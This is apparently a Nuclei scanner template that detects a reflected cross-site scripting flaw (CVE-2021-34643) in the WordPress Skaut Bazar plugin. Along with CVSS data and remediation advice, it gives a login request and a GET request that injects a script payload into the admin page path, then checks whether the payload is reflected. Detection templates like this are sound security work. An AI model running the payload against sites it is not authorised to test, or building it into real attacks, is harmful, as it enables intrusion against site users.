WordPress Skaut Bazar <1.3.3 - Cross-Site Scripting

id: CVE-2021-34643

info:
  name: WordPress Skaut Bazar <1.3.3 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Skaut Bazar plugin before 1.3.3 contains a reflected cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/skaut-bazar.php file, which allows attackers to inject arbitrary web scripts.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of WordPress Skaut Bazar plugin (1.3.3) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c1b41276-b8fb-4a5c-bede-84ea62663b7a
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34643
    - https://plugins.trac.wordpress.org/browser/skaut-bazar/tags/1.3.2/skaut-bazar.php#L657
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34643
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-34643
    cwe-id: CWE-79
    epss-score: 0.02446
    epss-percentile: 0.82367
    cpe: cpe:2.3:a:skaut-bazar_project:skaut-bazar:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: skaut-bazar_project
    product: skaut-bazar
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,authenticated,skaut-bazar_project,xss,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php/</script><script>alert(document.domain)</script>/?page=skatubazar_option HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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